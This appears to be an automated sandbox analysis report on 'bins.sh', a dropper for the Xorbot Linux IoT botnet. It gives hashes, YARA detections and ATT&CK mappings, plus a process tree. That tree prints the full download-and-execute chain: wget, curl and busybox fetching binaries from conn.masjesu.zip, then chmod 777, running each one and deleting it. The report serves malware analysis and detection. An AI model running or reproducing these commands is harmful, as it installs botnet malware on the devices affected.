xorbot | 7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf

Analysis

max time kernel
150s
max time network
42s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
10/12/2024, 16:56

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General

Target

bins.sh
Size

10KB
MD5

04b0aa80fd5dbe2a2c5aba032f1080a4
SHA1

b323e443493c9833347bac801450e2835febde15
SHA256

7342b014356a9d5553caf8076aa25c9e94846f563260b0e4777bcce77ca62eaf
SHA512

f8058a40bf2ae4e4d453e20f3214bd5205bf15a984a53ae21b6690a0e3c8fba6bf1bf76ad4560a7208ea3dcd7715b7551fbea624de4dfe4597ece8f6bd8f7376
SSDEEP

192:7bxZiPr/Hfi1ZKbrotcQoRmENsirjE597xZiPr7R1ZKbr2QoRmENLrjE59f:7bxZiPrffi1ZKbrotjirjE597xZiPrdY

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 4 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot
behavioral4/files/fstream-3.dat	family_xorbot
behavioral4/files/fstream-5.dat	family_xorbot
behavioral4/files/fstream-9.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 4 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
729	chmod
737	chmod
748	chmod
778	chmod

Executes dropped EXE 4 IoCs

ioc	pid	Process
/tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA	730	fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
/tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV	738	Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
/tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD	750	uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
/tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS	779	55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS

Reads runtime system information 5 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 14 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
733	wget
773	busybox
741	wget
744	busybox
754	wget
784	wget
796	curl
734	curl
736	busybox
705	wget
720	curl
728	busybox
742	curl
762	curl

Writes file to tmp directory 13 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c	wget
File opened for modification	/tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV	busybox
File opened for modification	/tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD	busybox
File opened for modification	/tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS	wget
File opened for modification	/tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS	curl
File opened for modification	/tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV	curl
File opened for modification	/tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD	wget
File opened for modification	/tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD	curl
File opened for modification	/tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS	busybox
File opened for modification	/tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA	wget
File opened for modification	/tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA	curl
File opened for modification	/tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA	busybox
File opened for modification	/tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:696
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:700
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:705
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:720
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - File and Directory Permissions Modification
  PID:729
- /tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  ./fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  - Executes dropped EXE
  PID:730
- /bin/rm
  rm fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA
  2⤵
  PID:732
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:734
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:736
- /bin/chmod
  chmod 777 Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  2⤵
  - File and Directory Permissions Modification
  PID:737
- /tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  ./Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  2⤵
  - Executes dropped EXE
  PID:738
- /bin/rm
  rm Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV
  2⤵
  PID:740
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:741
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:742
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  2⤵
  - File and Directory Permissions Modification
  PID:748
- /tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  ./uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  2⤵
  - Executes dropped EXE
  PID:750
- /bin/rm
  rm uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD
  2⤵
  PID:753
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:754
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:762
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:773
- /bin/chmod
  chmod 777 55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  2⤵
  - File and Directory Permissions Modification
  PID:778
- /tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  ./55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  2⤵
  - Executes dropped EXE
  PID:779
- /bin/rm
  rm 55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS
  2⤵
  PID:783
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:784
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  PID:796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

/tmp/55gmUF0kOnUd2pL5jYBHbUH82O1Cudf6KS

Filesize
177KB

MD5
786d75a158fe731feca3880f436082c0

SHA1
79ea2734e43d00cdeabed5586b2c1994d02aef3e

SHA256
5fb5b9beb44997a6d1baf950a8bf05b94aa59406d82ba2fea27eb13c497d4b18

SHA512
7984ebc874563267570f828ee158e4860971e184900e3590ac3b4829285443e065dd1ad4df190ceabf575880a4cd8ead4dd1132e9c1650239accf3f6440a3f7f

Download Submit
/tmp/Ecizoew5iU71xfKVuTPquy3RDwLDrOIvTV

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

Download Submit
/tmp/fLF7HjjWOCuozHVM57o3qbDkQVkEiTUkNA

Filesize
122KB

MD5
cd3d4b9c643e5b473fb4d88ed05f0716

SHA1
64ee7a97418583d759eaea8000890cc3bae1b5f4

SHA256
0cbb1e62423a82d17a7b1c9def6a5570a8414f36e2623f1d82cd4e6281930944

SHA512
164ee6eb1dc167f48a62683700bf3a4787f9ec4b12335e9e30d6670406324d111557b3be22fd6a9689b4f60562c8a3bf62867f2cae86c04cb1b01ee2e219cc52

Download Submit
/tmp/tLMmlS3fJCqm1TxCUByQSpz28bHqxXE69c

Filesize
117KB

MD5
849fa04ef88a8e8de32cb2e8538de5fe

SHA1
c768af29fe4b6695fff1541623e8bbd1c6f242f7

SHA256
8bc5e3bff5150738699927ca2b95f3e3bfd87aed44c30fc61fac788248528579

SHA512
2d8a8b2f04b494f95740b6f6315a71b40d9b2099922232791604b970a4533d1c51fa6deb6d2f3b4ce71b4795b842c1af75cd06981c81c94d4a87698be9d920cf

Download Submit
/tmp/uA18TXtrPanHbErwbNOywUW6Y54Qcz1nLD

Filesize
99KB

MD5
9438d9bc392bcf300a5583b6df5bc8f6

SHA1
375a6ae34b516f6f3eeea8030c4084f585017efa

SHA256
68e6282ed9046c9e22dbdf051dc03956803a46805f599e8cb9b52b993caa8f1e

SHA512
1f3e4219359a28c0f6373c0369da2b5dc0e89789afb89664627d8d9e37d4b72da36322b4015491d7daa03e46dff07d39f00dca18f274e9623dab0ff2d869c860

Download Submit